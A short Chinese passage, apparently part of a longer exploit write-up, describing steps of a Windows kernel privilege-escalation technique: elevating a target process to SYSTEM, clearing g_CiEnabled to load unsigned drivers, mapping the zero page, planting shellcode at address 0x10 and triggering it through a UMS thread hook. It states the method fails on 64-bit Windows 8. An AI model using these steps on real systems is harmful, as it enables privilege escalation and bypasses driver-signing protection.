3，  判断函数的参数，或者带PID,或者是EXE路劲，为了能使对应的程序为SYSTEM权限，及清除标志g_CiEnabled，从而可以安装加载非签名驱动，这2个是为了表明内核执行代码可能导致的危害性做的演示。

4，  分配0地址，并填入一些特殊数据，确保执行流程按指定的方向执行。

5，  设置好SHELLCODE，并将shellcode入口点填入地址0X10,从而使其被触发调用

6，  调用UMS线程，调用到我们的HOOK，填入非规范地址，从而触发异常执行。

最后补充下，这段代码在WIN8 64位下应该是无效的，因为WIN8 64不允许分配0地址，也不允许内核执行应用空间的代码。